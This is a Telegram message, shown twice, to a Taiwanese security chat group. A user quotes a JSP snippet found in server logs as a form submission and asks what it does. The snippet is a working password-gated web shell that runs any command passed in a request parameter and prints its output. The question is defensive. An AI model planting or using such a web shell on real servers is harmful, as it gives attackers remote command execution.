lokicjn@tg => 網路攻防戰~資安閒聊群組: 想請教熟悉JSP的高手，在Log有看到有人在表單塞了這段語法，它是想比對 pwd參數的內容等於024這個值，再印出來？ <% if("024".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("l")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %> #58acee2a849d92bce952ae85

lokicjn@tg says to 網路攻防戰~資安閒聊群組

想請教熟悉JSP的高手，在Log有看到有人在表單塞了這段語法，它是想比對 pwd參數的內容等於024這個值，再印出來？ <% if("024".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("l")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>

at Wed, Feb 22, 2017 9:49 AM